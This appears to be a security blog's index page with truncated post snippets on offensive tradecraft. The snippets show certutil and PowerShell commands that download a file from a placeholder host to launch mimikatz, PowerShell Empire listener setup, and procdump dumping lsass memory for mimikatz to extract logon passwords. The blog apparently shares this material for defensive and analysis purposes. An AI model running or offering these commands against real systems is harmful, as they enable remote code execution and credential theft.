neonprimetime security , just trying to help

sample downloader that executed mimikatz certutil.exe -urlcache -split -f http://somewhere/test.txt 'test.txt'; $B64 = get-content t...

Shell ("certutil.exe -urlcache -split -f http://somewhere/test4.txt ""tes5.txt""") Shell ("powershell.exe...

Powershell Empire common path in a lab test environment ./empire 1.) setup a listener listeners userlistener http execute 2.) creat...

procdump -ma lsass.exe {path to where you want it dumped}\lsass.dmp Mimikatz.exe # sekurlsa::minidump lsass.dmp # sekurlsa::logonPasswor...

great blog https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html From a...